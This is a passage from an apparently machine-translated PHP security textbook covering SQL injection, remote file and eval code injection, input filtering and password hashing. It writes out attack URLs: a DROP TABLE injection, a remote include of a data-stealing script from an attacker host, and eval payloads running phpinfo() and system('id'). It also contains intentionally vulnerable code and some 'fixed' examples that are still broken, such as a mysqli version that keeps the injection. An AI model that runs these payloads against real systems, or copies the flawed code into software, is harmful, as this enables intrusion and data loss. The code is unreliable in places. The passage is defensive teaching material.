Next, you must create a simple HTML that displays some links to navigate between the products in our database. The following code must be saved in the produtos.html file. When reading the code, pay attention to the parameters passed to the PHP scripts in the links ../php/exemplo1.php?pagina=1, ../php/exemplo1.php?pagina=2 and .. /php/example1.php?pagina=3.

<html>
<body>
<table border="1" width="50%" align="center">
<thead>
<tr align="center">
<td>Get Product</td>
</tr>
</thead>
<tbody>
<tr>
<td>
<a href="../php/example1.php?page=1">First product</a>
</td>
</tr>
<tr>
<td>
<a href="../php/example1.php?page=2">Second product</a>
</td>
</tr>
<tr>
<td>
<a href="../php/exemplo1.php?pagina=3">Third product</a>
</td>
</tr>
</tbody>
</table>
</body>
</html>

See our PHP script that will query the database and display existing products. All of the following PHP code must be saved in the example1.php file.

// Checks if the connection was successfully mounted
try {
     $conn = new PDO('mysql:dbname=sqlinjection;host=127.0.0.1;charset=utf8', 'root', '123456');
} catch (PDOException $e) {
     echo 'Connection failed: ' . $e->getMessage();
}

// Get the next page
$offset = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_SPECIAL_CHARS);

// Assemble the instruction to select the data
$query = "SELECT product_id, nm_product FROM tb_produto ORDER BY nm_produto LIMIT 20 OFFSET $offset;";

// Execute the instruction and get the result
foreach ($conn->query($query) as $row) {
printf ("[Product identifier: <strong>%s</strong>] - [Product: <strong>%s</strong>] <br />", $row['product_id'], $row[' nm_product']);
}

After saving the codes in their respective files, we have the following result:

Product listing {w=90%}

What the attacker can try is to change the data sent via GET from your page, inserting an SQL statement to completely delete the table. Notice in the previous figure that we accessed the URL http://localhost:8181/php/exemplo1.php?pagina=1, which indicates that we passed the value 1 to the pagina parameter. In the same way that we passed the value 1, we can pass an SQL statement. See what our URL would look like:

localhost:8181/php/example1.php?page=1; DROP TABLE tb_produto

After executing this URL with the SQL statement, our database table is removed, generating an error when displaying the products:

Error after executing SQL injection {w=90%}

The error is displayed because our PHP code expects an array to be passed to the foreach loop. However, the array is not passed, because the product table (tb_produto) was deleted from the database, making it impossible to return any records in array form.

To avoid this type of problem, as well as others that can be generated by trusting the user too much, it is recommended to use a method that analyzes the instruction and parameters. PDO has the prepare method along with the bindValue method.

These methods have already been explained in chapter 9. PHP and database with PDO, do you remember? If you don’t remember, no problem. Take a look there and then return to your reading!

And the solution to our problem is simpler than you think, see:

// Checks if the connection was successfully mounted!
try {
     $conn = new PDO('mysql:dbname=sqlinjection;host=127.0.0.1;charset=utf8', 'root', '123456');
} catch (PDOException $e) {
     echo 'Connection failed: ' . $e->getMessage();
}

// Get the next page
$offset = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_SPECIAL_CHARS);

// Build the query
$sth = $conn->prepare("SELECT id_produto, nm_produto FROM tb_produto ORDER BY nm_produto LIMIT 20 OFFSET :offset;");

// Perform parameter passing
$sth->bindValue(':offset', 1, PDO::PARAM_INT);

// Execute the code
if ($sth->execute()) {
     $result = $sth->fetch(PDO::FETCH_ASSOC);
     printf("[Product identifier: <strong>%s</strong>] - [Product: <strong>%s</strong>] <br />", $result['id_produto'], $result[' nm_product']);
}

If you are not using PDO, but rather mysqli, no problem. You can achieve the same result using the bind method. See what the same example shown previously would look like with mysqli:

<?php

// Connection to the database
$link = mysqli_connect('127.0.0.1', 'security', '123456', 'php');

// Checks if the connection was successfully mounted!
if (!$link) {
     echo "Error: Unable to connect to MySQL.";
     echo "Debugging errno: " . mysqli_connect_errno();
     echo "Debugging error: " . mysqli_connect_error();
     exit;
}

$offset = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_SPECIAL_CHARS);

$query = "SELECT product_id, nm_product FROM tb_produto ORDER BY nm_produto LIMIT 20 OFFSET $offset;";

if ($stmt = $link->prepare($query)) {
     $stmt->execute();

     $stmt->bind_result($idProduto, $nmProduto);

     while ($stmt->fetch()) {
         printf('[Product identifier: <strong>%s</strong>] - [Product: <strong>%s</strong>]', $idProduto, $nmProduto);
     }

     $stmt->close();
}

The tip you should always keep in mind is: never trust the user.

A function that we used extensively in our examples to protect our data was filter_input. This function is used to filter the sent data according to the passed constants.

With it, it is possible to filter malicious data sent by the user, and force data to have a pattern (such as, for example, that a variable has the IP pattern or that the variable passed is an integer). But don’t worry, as this function and other ways of validating user data will be explained later, throughout the chapter.

Remote code injection

We have gone through several ways that an attacker might try to break into your system. However, there is still one more vulnerability that we can contain in our applications.

Imagine that this attacker, after a few attempts in which he was already blocked by what you learned, could try another security breach, which is an attempt to inject PHP code. And you can try in such a simple way that it escapes our care, as it is the most harmless parameter of GET.

Code injection is a term for a type of attack, which consists of injecting code that can be interpreted and executed by your application. This type of attack again exploits the trust you have in your users and lack of handling of input and output data.

Code injection differs from another similar attack, Command Injection, because in the code injection attack, the attacker is limited only to the language that the system executes, and that is the one we are addressing here.

In our system, we can have some examples of security holes for this type of attack that start in php.ini. They are: using the include function without validation and executing PHP codes without validation.

In our first example, we have an include with PHP, without using what we learned about the configuration section (i.e. disabling the allow_url_include option):


ini_set('display_errors', true);

$page = $_GET['page'];

include $page;

If the option is not disabled, the attacker will be able to include a malicious file that obtains data from your application. All you have to do is send the page you want to include as a parameter, for example:

http://localhost/teste/include.php?pagina=http://invasor.com.br/roubodedados.php

This type of attack is very dangerous, as we can create any PHP file with the code we want to: extract data, add some type of spy code to monitor user access to that page, or even carry out some type of damage such as deleting files vital for the operation of the application.

Now that we have covered the first way of using the include function without validation, we can move on to our next item, which is executing code in PHP without validation.

PHP code execution is done by the eval function, which takes a string and executes it as PHP code. Look:

$nextPag = '?page=';
$page = $_GET['page'];

eval("$nextPag=$page;");

The attacker may try to invoke your system with the modified parameter to display your PHP information, for example:

http://localhost/teste/seguranca1.php?pagina=teste.php; phpinfo();

Or it may even try to execute commands on your system, for example:

http://localhost/teste/seguranca1.php?pagina=teste.php; system('id')

Again, as previously stated, we must not trust our users, and we must always validate the input and output data of our system so that, whenever possible, it makes attacks that will be carried out more difficult.

Input Filtering

We ended up mentioning on several occasions that you should not trust the data that the user sends you. With this in mind, PHP provides a simple way to carry out checks on the data that the user enters.

What you need to keep in mind is that filtering your users’ data is extremely important and that, when it arrives in the system, it is ready for use.

filter_var

The function we will use to filter data in our applications is filter_var. It will perform a filter specified as a second parameter, thus guaranteeing the integrity of this data. If the function is unable to perform the specified filter, the default is to return. See an example:


$email = "michaeldouglas010790.com";

$emailFilter = filter_var($email, FILTER_VALIDATE_EMAIL);

var_dump($emailFilter);

As you can see, the filter FILTER_VALIDADE_EMAIL was used, responsible for filtering email data. However, as our email is invalid, the function is unable to filter the data received, thus returning a FALSE.

Another example we can use is to filter the data and check if what is contained in the data parameter is a valid integer. See the example where we apply this rule:

$email = '1';

$emailFilter = filter_var($email, FILTER_VALIDATE_INT);

print $emailFilter;

When we run the above script we get the following result:

1

Through this filter, we guarantee that what exists in the variable $email is data of the integer type.

From now on, try to remember to always filter the data your user sends to you. With this, you will be able to gain more security in your application and in an uncomplicated way, as the use of the filter_var function is limited to the use of 3 parameters. However, in a simpler way, using 2 parameters (as demonstrated in the previous example), you can now make your application more secure.

The last parameter is used to change how the filter_var function behaves internally. If you want to delve deeper into the behavior of this function, see the official documentation at http://php.net/manual/function.filter-var.php.

As the list of constants to use with filters is large, you can see the complete list of filters in the PHP documentation at http://php.net/manual/filter.constants.php.

filter_input

We quite frequently receive data through different sources, such as GET, POST, COOKIE, SERVER, among others. However, using this data directly in our applications is not a good idea, for example:

$data = $_POST;

if($data) {
     // Manipulate the data sent
     print_r($data);
}

We have already learned that receiving data directly into our application, without validating or filtering, is not a good practice.

What we need to do to fix this example of ours is to use the filter_input function. It uses as its first parameter the type of data you want to use, for example, data that is sent through a GET request.

The types of constants that the filter_input function uses are:

  • INPUT_GET
  • INPUT_POST
  • INPUT_COOKIE
  • INPUT_SERVER
  • INPUT_ENV
  • INPUT_SESSION

For each type of request, we can use one of these filters. See our example below that uses the constant INPUT_POST to perform the filter on the name field.

<form method="post">
     <input type="text" name="name">
     <input type="submit" value="Submit">
</form>
print filter_input(INPUT_POST, 'name', FILTER_SANITIZE_SPECIAL_CHARS);

Note that we applied the filter FILTER_SANITIZE_SPECIAL_CHARS (which removes special characters from the string) in a field sent by the form via the POST method. If we changed the form method to GET, we would consequently use INPUT_GET, and so on with all the constants, depending on where the data is coming from.

We can do many things using the filters that PHP offers, and the most important thing of all is to protect yourself from what malicious users may try to invade your system. However, as we already know, no system is completely secure, but always do your best to protect yourself.

What can happen is that we forget to use some security concepts in development. However, some IDEs (Integrated Development Environment), such as NetBeans, warn us to be careful when accessing variables directly, which can greatly help you not to forget to protect yourself.

Password hashing

When we create our login screens, one of the first things that comes to mind is how to protect the password that the user enters. At this point, you might end up going to Google and searching for password protection in PHP. Therefore, you will come across two functions for data encryption:

*MD5

  • SHA1

Below we will explain in detail how these functions are used with PHP. But if you want to know how the MD5 algorithm works, you can access the link http://www.faqs.org/rfcs/rfc1321.html. There we have an explanation of how to implement your own MD5. The same happens with SHA1, visit http://www.faqs.org/rfcs/rfc3174.html to see how an algorithm is implemented in SHA1.

###MD5

This function works to receive a string as a parameter and calculates the hash using the RSA Data Security algorithm. When applying the String function to an arbitrary amount of data, the output result of this string is a hash that has a fixed size. MD5 creates a 128-bit hash value.

In PHP, using the md5 function is very simple. See the following example:

$password = '123456';
$passwordHash = md5('123456');

if( ( !is_null($password) && ( md5($password) == $passwordHash ) ) === true ) {
echo "OK";
} else {
echo "OPS";
}

As much as it seems safe to use MD5, it can be broken by even websites that decrypt it. One of them is https://hashkiller.co.uk/md5-decrypter.aspx, which displays the hash that MD5 generates:

$password = '123456';
$passwordHash = md5('123456');

if( ( !is_null($password) && ( md5($password) == $passwordHash ) ) === true ) {
echo $passwordHash;
} else {
echo "OPS";
}

For those of you who used the password 123456, the hash that will be returned is this:

e10adc3949ba59abbe56e057f20f883e

Enter the hashkiller website, paste the hash, and then submit. See this example:

Decrypting the string generated using the MD5 algorithm {w=90%}

SHA1

Another algorithm widely used for hash calculation is SHA1. In PHP, its use is simplified. Just like in MD5, you just call the function that will calculate the hash for your string. In the case of SHA1, the function is sha1 and its use is very similar. See the example:

$password = '123456';
$passwordHash = sha1('123456');

if( ( !is_null($password) && ( sha1($password) == $passwordHash ) ) === true ) {
echo "OK";
} else {
echo "OPS";
}

In addition to calling the sha1 function being similar to the md5 function, the same site that cracks these passwords also thought about maintaining the standard, and created a way to decode the SHA1 algorithm. It can be accessed at https://hashkiller.co.uk/sha1-decrypter.aspx.

Again, let’s display our password hash, but now in the pattern that SHA1 returns. See the example:

$password = '123456';
$passwordHash = sha1('123456');

if( ( !is_null($password) && ( sha1($password) == $passwordHash ) ) === true ) {
     echo $passwordHash;
} else {
     echo "OPS";
}

If you kept the password pattern from the example, the return you are probably seeing is the following:

7c4a8d09ca3762af61e59520943dc26494f8941b

Again, open the hashkiller website as in the example, and you will see the password: 123456.

SHA1 example hash {w=100%}

As you can see, using MD5, or even SHA1, can be very practical, but it doesn’t tend to be as secure in the way we implement it. There is a technique that helps to improve the security of MD5 and SHA1, the use of a pattern known as password salt.

This pattern consists of generating logic that only your system knows. Imagine the scenario in which you receive a password 123456 and, instead of having SHA1 or MD5 generate its hash, you must concatenate a random string to your password before performing the hash calculation.

However, in case you didn’t notice, both SHA1 and MD5 always return the same values for 123456. So even if you put a salt in it, you won’t be completely safe. This is because the attacker can find out in the following ways:

  1. The salt present in a configuration file;
  2. The salt present in the database.

And if he manages to discover your salt pattern in one of the ways mentioned, the attacker can generate a Rainbow Table.

Rainbow Table

I will exemplify Rainbow Table. This consists of a table (like a database) that the attacker creates to perform transaction queries in RAM. In other words, it tries to obtain the original text of your passwords while they are in memory and, with this, it can create a function or a small system that is capable of computing hashes.

The computed results will be stored in this table and, with this, it can discover its hash algorithm. Therefore, maintaining a salt pattern is bad, as it can, with each attempt, save a pattern obtained in this table and can access everything from the Rainbow Tables.

For those who are more interested in the subject, here is a program for Windows that is Cain. It can be accessed at http://rainbowtables.shmoo.com. For those who use Linux, there is an alternative with Ophcrack, and you can access the official website at http://ophcrack.sourceforge.net.

Salt

When we create a salt for our hash calculation from a string, it is the same as saying, in simpler terms, that we are creating a pattern of information to be concatenated to our password string. See our example below that uses the fixed salt !__##__SECURE__##__!, before calculating the MD5 hash:

$salt = "!__##__SECURE__##__!";
$password = "123456";

$hash = md5($password . $salt);

echo $hash;

As you can see, the $salt variable contains our pattern, thus making the password more difficult to crack. Now that we’ve concatenated a salt, we should use it to check the password as well:

$salt = "!__##__SECURE__##__!";
$password = "123456";

$hash = md5($password . $salt);

$hashSalt = "3e4743bc34346b3882ddbc1b434ac67e";

if($hash == $hashSalt) {
     echo "OK";
}

However, the problem still persists, as the password string hash still remains the same, not changing the password pattern, which would mean that an attacker would at some point be able to find the pattern and, from there, discover the password. One way to resolve this issue is to adopt a dynamic salt. In other words, for each hash calculation generated, it is never the same, but different for each password.

Dynamic salt

Ideally, you should not leave the hash of your passwords fixed, as this makes life easier for the attacker. However, now let’s learn about joining a dynamic salt with our password hash.

We will change our fixed salt so that it no longer has the same value, and that with each new password creation request, or even update, it generates a new pattern for our user.

Let’s see in our example that adjusting this problem is very simple, but pay attention. My example will generate a hash pattern different from yours (as it is dynamic) and, in your case, your test will generate a different hash:

function salt_random() {

     return substr(sha1(mt_rand()),0,22);
}

$password = "123456";
$random_salt = random_salt();

$hash_password = sha1($random_salt . $password);

echo "Hash Password: $hash_senha Salt Rand: $salt_random Password: $password";

When this code is called, the result produced is something like:

Hash Password: 2d8778c6bbcb85c126935eda9da3b29706bd3b6c

Salt Rand: 421a34a71e3ff1bee1d48a

Password: 123456

Try refreshing the page. You will notice that the password hash and our salt are not the same, as the salt_randomico function updates our salt, which gives us the power to always renew the password pattern. To use this in validation, you simply store the Salt Rand, the hash and the password in your database. See an example, but stored in a variable:

$hashGerado = "a5156f17a9bcfd82f33955784bab6441";

$saltGerado = "4862f0f324dfef6daa3747";

$password = "123456";

if(md5($saltGerado. $password) == $hashGerado) {
     echo 'OK';
}

However, as we learned about brute force attacks and Rainbow Tables, we may be able to find the pattern and crack our password. What we can do to make it a little more difficult is to encrypt our password over an X number of repetitions, making it X times more complicated to crack, for example:

function salt_random() {

     return substr(sha1(mt_rand()), 0, 22);
}
$password = "123456";
$random_salt = random_salt();

$hash_password = md5($random_salt . $password);

for ($i = 0; $i < 2000; $i++) {
     $hash_password = md5($hash_password);
}

echo "Hash Password: $hash_senha Salt Rand: $salt_random Password: $password";

As you can see, it is quite expensive to maintain these functions, and checking them becomes even more complicated. However, PHP thought of helping you with some functions that will make our lives easier when it comes to salt.

These functions work very well with salt. They are crypt and password_hash. We will talk more about them, but here is a figure that illustrates the format of their returns:

Return from crypt and password_hash functions {w=90%}

If you want to study this subject a little more, here are links that may help: http://php.net/manual/faq.passwords.php and https://www.schneier.com/cryptography/blowfish/ .

Crypt

This function returns our string encrypted under the Unix Standard DES-based encryption algorithm. As this algorithm varies depending on the operating system, we need to keep in mind that, for each type of system, the encryption will be different, and may even use the MD5 algorithm, which for crypt is CRYPT_MD5.

It is when PHP is installed that the possible accepted salt encoding functions will be defined. Using the crypt function is simple, because if we don’t provide any salt, PHP itself takes care of autogenerating a 2-character pattern. But you must pay attention, because if the system default is MD5, then the algorithm logic will use an MD5-compatible salt.

To check whether the crypt function will use a 2-character salt, PHP has a constant called CRYPT_SALT_LENGTH, which returns 2 characters, or for the system that the salt is longer. To check your system, run the following code:

print CRYPT_SALT_LENGTH;

When run, you will see the total salt size for your operating system. Now, to check if your system supports multiple encoding types, you will need to create a condition to check which encoding constants are available to PHP. Next, we create a small script with this check:

if (CRYPT_STD_DES == 1) {
     echo 'Standard DES: ' . crypt('SECURE', 'ZP');
}

if (CRYPT_EXT_DES == 1) {
     echo 'Extended DES: ' . crypt('SECURE', '_J9..SECURE');
}

if (CRYPT_MD5 == 1) {
     echo 'MD5: ' . crypt('SECURE', '$1$SECURE$');
}

if (CRYPT_BLOWFISH == 1) {
     echo 'Blowfish: ' . crypt('SECURE', '$2a$07$SECURE...........$');
}

In my case, the execution output generated the string:

Standard DES: ZPECAThe52T3c

Extended DES: _J9..SECUREg7Hjffd0M.k

MD5: $1$SECURE$Ip5.PjOzZK69tdVH87m9o0

Blowfish: $2a$07$SECURE...........$

In my case, I was able to use all the salt patterns that boil down to the second parameter and, if I don’t provide any, PHP will autogenerate, as we see in this example:

Notice: crypt(): No salt parameter was specified. You must use a randomly generated salt and a strong hash function to produce a secure hash. in /Users/michael/Sites/livro/index.php on line 3
$1$OfWISOHW$qeJCBrhB/PyP2fBDQcfA/0

However, note that PHP will inform you that not using a salt is not very safe, so to fix it, just use what is in your operating system. To validate the password using the crypt function, simply use it as in our example:

$password = crypt('123456', '$2a$07$136...........$');
$userpassword = "123456";

if (crypt($UserPassword, $password) == $password) {
    echo 'OK';
}

Password hashing API

PHP’s password hashing API provides a much simpler way to use encapsulated crypt, and thus manage our passwords in a much easier way. In particular, we will use two functions: password_hash and password_verify.

password_hash

As you can see, working with salt is a secure way to keep your users’ passwords. However, assembling and maintaining the salt is quite complicated. With this in mind, the password_hash function was created, which receives as a second parameter the algorithm to be used to calculate the hash. We have two types of algorithms to use:

  • PASSWORD_DEFAULT - Uses the bcrypt algorithm. This constant may change over time as new algorithms are added to PHP. When used, it is recommended that you store the result in a database column, which can expand to more than 60 characters, but best is 255 characters.

  • PASSWORD_BCRYPT - When this parameter is provided, the algorithm used will be CRYPT_BLOWFISH. This will produce a hash compatible with an identifier $2y$, and the result is always a 60-character string; or false, if the hash calculation fails.

See examples of using the function. First, we will use the PASSWORD_DEFAULT algorithm:

$password = password_hash('SECURE', PASSWORD_DEFAULT);
echo "Password: $password";

You may notice that, with each update, the salt will change, as it is dynamic. That is, with each execution, the hash also changes. Here’s what was generated when we ran the previous script:

Password: $2y$10$zKxtVl9m.gb8iPc9IVPN8O1h62juxc.SxwfNNlCZnwkyrAxHCJbfu

And now we will use the PASSWORD_BCRYPT algorithm. See that our script remained the same, we just changed the constant that represents the algorithm:

$password = password_hash('SECURE', PASSWORD_BCRYPT);
echo "Password: $password";

And the result we got when we ran this script was:

Password: $2y$10$p1xrsk441W6R.jmohSrL5OsK.cDih8GTKXe1sJFH6PImiVZsuSxbi

As you can see, using the password_hash function makes password security much easier and easier to use. This is because we don’t need to implement any salt algorithms manually, or worry about these security details, as PHP abstracts all of this for us.

Now that we know how to encrypt passwords more securely, let’s see how to verify sent passwords in the next section.

password_verify

Thinking about making our lives easier, a function was created that receives the user’s password and the hash that was generated from the password_hash function. In other words, with just 2 parameters, we already guarantee better security for our application and make our lives simpler. See the example:

$hash = '$2y$10$zKxtVl9m.gb8iPc9IVPN8O1h62juxc.SxwfNNlCZnwkyrAxHCJbfu';
$password = "SECURE";

if (password_verify($password, $hash)) {
     echo 'OK!';
}

As you can see, what we needed was the generated hash, which could easily be stored in your database and use the user’s password. And we can easily check if the hash pattern matches the user’s password.

Summary

In this security journey, we go through many things, such as configuring our application, data protection, social engineering, attacking via JavaScript, etc. And with each text you read, it seemed that it became more impossible to protect our application, didn’t it?

But also believing that doing everything we’ve learned will protect your application 100% from attackers is a dream. However, with each error we can learn more, correct the loopholes and make our application more secure against attackers.

PHP ended up getting a bad reputation due to new developers only focusing on developing their applications, and not thinking much about Software Engineering and application security. We believe this is for the simple reason that PHP has a low learning curve compared to other languages.

You should be able to identify and propose ways to keep your application safer against attackers. Remember: don’t just limit yourself to what you read here in the book, look for more sources.

A well-known source among security enthusiasts is OWASP, which was mentioned previously in the book. There you will find the main web vulnerabilities, discussion groups and much more. Check out the official website at https://www.owasp.org/index.php/Main_Page.